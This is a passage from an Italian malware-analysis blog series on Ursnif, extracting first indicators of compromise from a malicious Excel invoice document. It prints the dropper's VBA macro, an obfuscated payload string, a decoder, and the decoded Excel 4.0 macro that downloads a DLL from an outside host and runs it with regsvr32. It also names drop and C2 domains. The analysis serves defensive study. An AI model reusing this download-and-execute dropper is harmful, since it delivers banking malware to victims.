YAU – Parte 6 – Il secondo stadio e i primi IoC

28/01/2021

yau

Nel capitolo precedente avevamo finalmente terminato l’analisi dei packer di Ursnif.
A partire dal dropper contenuto nelle macro del documento malevolo (spesso una macro 4.0 che usa UrlDownloadToFile) avevamo analizzato la DLL scaricata per scoprire come questa fosse in realtà un packer che utilizza tecniche ed algoritmi piuttosto variabili nel tempo.

Grazie ad UUE possiamo estrarre automaticamente il payload del packer.
Dopo averlo analizzato ci siamo resi conti che questi è a sua volta un packer, anche qui siamo riusciti a scrivere strumenti automatici per l’estrazione.
Con ujj è infatti possibile estrarre il secondo payload (che abbiamo chiamato “secondo stadio”).

In questo articolo non entreremo ancora nei dettagli di questo secondo stadio, ci limitiamo ad estrarre, in modo automatico ma senza sandbox, i primi IoC.

YET ANOTHER URSNIF

Questo è il sesto di una seria di articoli, tutti raggruppati qui.

Indice

Parte 1, Le e-mail e il documento Excel
Parte 2, Le macro
Parte 3, Il packer
Parte 4, Primo stadio e la sezione bss
Parte 5, Ancora il primo stadio e i “JJ chunk”
Parte 6, Il secondo stadio e i primi IoC <–
Parte 7, Il secondo stadio, seed, GUID e privilegi
Parte 8, Il secondo stadio, configurazione e download
Parte 9, Il secondo stadio, salvataggio dei moduli e persistenza
Parte 10, Rimozione di Ursnif
Parte 11, Il client, inizializzazione e configurazione
Parte 12, Il client, da powershell ad explorer.exe ai browser
Parte 13, Il client, comandi e trasmissione al C2
Parte 14, Il C2, panoramica
Parte 15, Il C2, i sorgenti e l’architettura
Parte 16, Il C2, vulnerabilità
Parte 17, OSINT e resoconto finale

Il secondo stadio usa i JJ chunk

Osservando il secondo stadio con un hex editor si vede immediatamente che sono presenti dei JJ chunk.

Il secondo stadio ha due JJ chunk.

Uno risulterà essere una chiave RSA, l’altro è la configurazione di Ursnif.

Dal documento malevolo al C2

Supponiamo di avere un documento XLSM malevolo.

Iniziamo verificando la presenza di macro VBA:

olevba -c Fattura_20287.xlsm

In questo caso è presente una macro VBA, ne analizziamo quindi il codice.

Sub PagamentoDocumento()
j = "=RE"
m = "TURN()":
Sheets(1).Cells(6, 1).value = j & m: mg = "Aut"
Sheets(1).Cells(1, 1).Name = mg & "o_io22"
c = 3:
For Each p In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): n = n & p: Next
For X = c To Len(n) Step c
If (X Mod 2) Then k = -1 Else k = 1
u = u & Chr(Asc(Mid(n, X, 1)) + k): Next
IR = Split(u, "{")
For Each E In IR
Sheets(1).Cells(1, 1).value = "=" & Replace(E, "[", "J")
Run (mg & "o_io22")
Next
excell
End Sub
Private Sub excell()
Application.OnTime Now, "BarUno"
End Sub

Private Sub pagoUno_Layout()
PagamentoDocumento
End Sub

Si tratta di una macro molto semplice, l’unica noia è recuperare tutte le celle che contengono costanti.
Per fortuna ve ne è una sola.
LibreOffice, come al solito, non è nè affidabile nè stabile nel gestire i documenti Office ed è più semplice prendere il contenuto della cella direttamente dall’XML in sharedStrings.xml.

C TSeDbaUEm- pO E@K NIzDAI) T!sGWCt!wq-uK!ccbJWdLzt  sHqsNgnW #pP(Yw|DYRdXF HSvs/ fMvZBfyLZRF V'L #ZulXS#xq+CuBC BipPZkRfW)k ,Sy1 s-aO6eu(  +eR0WS4W 4wg0NbOwpJAi'dJ*er(l |AuROGFcZS L/w MNQBiFL  Fy 'ry#apxrn#E +xEDMxNz T a'l SmV@tzErcHXCBDKMygT B'n 7Nl/  *AO(eQ. NB NPqUR  )yH5mL1R )NFQZfHsI) F(wc0SD0 k9rh/ m*x (u | uR iFkSSjs/deMrHBpRLqrFz 'vj#o CHT#AF+eo#HA[zu#vG(FG| HRSsFH SnE/b MFYBJzLbSFN 'Wn#kMJ s#Fj+yc#gwvWI#fn( E| HR UF RSzE/GhMPLBSDL gF x'cA#jRY a# K+Oa#G na #cx(FV|zQHOPGZQ'reJhzRygOOATXbN OAA FgXQ U)JBRD Fdj@ GSBTBnuIYe'BiLQk+ JHWCDDiUIr-qGXr NvvSUZJGGTNvO QBZpBEOFdZ'Xg2Vv(yx*M ( L-ES_x001F_XG-jaB VMSpNNNTBuDFB)t ShsSjvTs FB (mF*wOzLMTL DfHU W-LdOyw@NDNegDZf)  !AyBac!cC-Fu! XD M9  #HH%IsEIv%qHD dGdwBuHQ b)SlQ jB uMJ EeTAN F KSzdXeGDVtFi MLP)Wj5EK6N +sFn X(Ly*Mv%zCDxmGO BkrQMd) TQCnB RMOeEnDAPiFP S AXaiDTEFAEMnU)Nx5Qk6 P+nCnmV(yq*qg%PfSW @h ObrC uCOtDYoUu VcFF DDskO Z'VS2d /Nk1D +zK:cG8is:XC(iA'N BckI  @VdSFd'BySze@raOKMCURCnaDkfUVJVdsFg D cOGg'  7NC4B -cKlgN*Uh(Vi* vzOcTTxDUqUMK-MIO r@HFN lDyK)TH!KxjkBeYM#Lx+IGD tGTBBfhQ o)Ey0wG2G 4w *cC(XY|uXRtsFsSSrv/JBM  B jLW FX ' l#mIA Q#Bc+ ZBHE%msEaQ%JwDNdGpEB OQQN)  QynBIrMC E cArSFsUSVvXcrDnDFGJM Q)ae5Yt6  + unP (bR*SP% wDsfG nBXwQeL)qRQmHBAQMMLE GAbHFC SyLXvmDadFypMBH)Bz5Dm6kN+ninx ( s*S %WQSbm@YDO aCuKCOkD IUaGVXdFEVDrzOXn'  2V /TA1Pr+ O: m8PK:Gu(F 'GxBHwITr@VkSOe'QwSoI@ GOtbC zC  DuWUuaV QFgXDrYO w'Tx7FE4Lq-Gol F*Zv(It*bKzR TlBDXJUDD-y OGI@ZrNWjD  )UC!McG P!vN-wpFb F ZSDb/ IVvBPuaQITLufRaPQMU@tLDLvD L)fw0xA4aM(G 'y !kZ/ p!Rj*  zepTmYDb U  -ajOsP@MYNuBDYn)dc!e VhQ!lF-bd!sxfEl!xj*zRzF DYu@jHMSUK f)p !XsLJy!vu'JFTsv'NE!QosFzmk #Cv%rLVyG%PT# eksq4nL1ws#FT+wv#LUBGos  !h 'wJTs ' q!a bAksfl#JM% VVNQ%xU#JDChFjeEqGYfckbEXuHK!wn'OXYQm' L!I s  x pBrf!Uu-sL!w KoOB JKHH!lO-bQ@Ba-t xkR*RgzT TElDseUzW-vBOsC@KxN DDKq)vH!afHBL!TK-QeRnBFTZS n/cnMrNBErLaLFhQ'JQ#fmgfH#aN+SM#filAxqwk`Arhuxm zjcD`xSnjq!vT*n (Dd|zABZTBhwKnrM  'VM#OxJzUfbeqSyoQA!ei'YhTUp'z !XwmSX2Ti3 j! V-AS!ytDtbq  fp ` Ku GdXOElXh  sBw!Yl'ooTCB'dI!xfds sAB#UB%n [Fq%Zb#NWqOfz q@ H#g +ol#XaZFoD  Z P#lW+UKCAG+iTzxC(zp|  B SBUlKwKMKW'Nw#HLT FShXKcPNZwN  Oyy!ub-y ! SV  QRwMjjCdp#MR%ix[ V% f#Y v fovUkqV# U%aK[ U%hv# a`Oae fSo #qm%KK[iR%yL#Y ExbjnCkf fj @nD#cg+Q !j !yd\iaZLbDm Bvc\ PZLe# O+KhzzX+zmS vDvbQqDKFPB zBO FoW'Cc#TIgRMrpfokLtez9 J#Pa%zNHyADxqUA -cKX bNatSAkJYUTz OroB UB kFi 'oV:rX(Pg'a FMaF ESbh/CuVR PZ QLZL nRNjQIV@o DYHDbO) B8 m*NZ% z#o bSnpB !HI'U gjA' XU  'JSQS Js FwKIxbSSO)bbEGT* G% t#iabbk#eX%RF[xL%H #Z lqM#N + m3Y +Kp2Zu+  #Egs uuCr!en*q +UBCmb%AmEe % zGTF+RNzBK+  zdi(Di|Q BvQBPzKwxMph' I#h RNli  !c 'zyTru'ry! DmLLkAN4T 1sq#iC+XF#LYR uihq!hO'PWThW'Ro!olmjqk OFCEwFD#BH%dpV t%ZE#goboXvsAsgm#Pk%c VK %vk#Nj@og# n+jg!  !aW\xJZmNDX BgVD HB  \Kn!xw-TPxif- A!IFPQRomO#HM%u Vow%xK#CZmHy#NF+ZU# OqRG#WO% CVdx%Oz#zjfZctT ubqsJO2sb3Nq!sC- f!OK!RP,Cz#Qh% zjktegR'yb!Jf!FE!DB'HVArH' fC x'KyEYJ-DzxoZ- ax O*

L’algoritmo della macro è già stato visto nel capitolo 2, qui una versione JS.

function decode(s)
{
   let r="";
   for (let k = 2; k < s.length; k+=3) 
   { 
       r += String.fromCharCode(s.charCodeAt(k) + (k % 2 == 1 ? 1 : -1) );
   }
}

Che dà il risultato (una volta ripulito) seguente:

SET.NAME("V","aestro")
SET.NAME("m",ACOS(-0.5)*135/PI())
SET.NAME("y",COS(RADIANS(60))-COS(60*PI()/180))
SET.NAME("D","\")
SET.NAME("K","w")
SET.NAME("Z","o")
IF(ISNUMBER(SEARCH(K,GET.WORKSPACE(1))),`/`,CLOSE(TRUE))
SET.NAME("A","C:"&D&CHAR(RANDBETWEEN(65,m))&CHAR(RANDBETWEEN(65,m))&RANDBETWEEN(100,999)&CHAR(RANDBETWEEN(65,m)))
SET.NAME("if",CHAR(115))
SET.NAME("B",A&D&CHAR(RANDBETWEEN(65,m))&CHAR(RANDBETWEEN(65,m))&RANDBETWEEN(100,999)&CHAR(RANDBETWEEN(65,m)))
SET.NAME("F",GET.WORKSPACE(13)&".")
SET.NAME("U","e")
CALL("K"&U&"rn"&U&"l32","Cr"&U&"at"&U&"Direct"&Z&"ryA","JCJ",A,y)
SET.NAME("G",SET.NAME("h","mpagniam"))
CALL("Kern"&U&"l32","CreateDir"&U&"ct"&Z&"ryA","[C[",B,y)
CALL("URLMON","URLD"&Z&"wnl"&Z&"adT"&Z&"FileA", "[[CC[[",y,REPLACE("hqps:"&GET.WORKSPACE(9)&GET.WORKSPACE(9)&"co"&h&V&RIGHT(F)&"c"&Z&"m",2,1,"tt"),B&D&F,y,y)
CALL("Sh"&U&"ll32","Sh"&U&"llEx"&U&"cut"&U&"A", "[[CCCC[",y,"Op"&U&"n","r"&U&"gsvr32"," -"&if&" "&B&D&F,y,y)

Questa è la macro 4.0 che viene eseguita da Excel. Con XlmDeobfuscator è possibile vedere che il drop URL è http://compagniamaestro.com.

Da qui otteniamo la DLL del packer.
Usando UUE possiamo estrarne il payload e con ujj ottenere il secondo payload.
Di questo secondo payload possiamo estrarre i JJ chunk e prenderne la configurazione.

>uue ursnif.dll
[Dumped!]
>ujj ursnif.dll.payload0.dll
-- JJ Chunk --
 Id: 9e154a0c
 Flags:  CM
 RVA: 00007400
 Size: da00
 XOR key: d644da83
 Padding: 0
>ubss 9e154a0c
>ujj 9e154a0c
-- JJ Chunk --
 Id: e1285e64
 Flags:
 RVA: 0000fa00
 Size: 90
 XOR key: d644c7fc
 Padding: 0
 -- JJ Chunk --
 Id: 8fb1dde1
 Flags:  CM
 RVA: 0000fc00
 Size: 146
 XOR key: d644c4e6
 Padding: 0

Aprendo il JJ chunk con id 8fb1dde1, otteniamo the stringhe di configurazione.

La configurazione di Ursnif. E’ visibile il C2, la chiave per la comunicazione e il C2 finto.

Tra queste compare marzoom.org, il C2 usato da questo sample.

Nel prossimo articolo vedremo nel dettaglio il secondo stadio e la struttura dei due JJ chunk.

Taggato  yau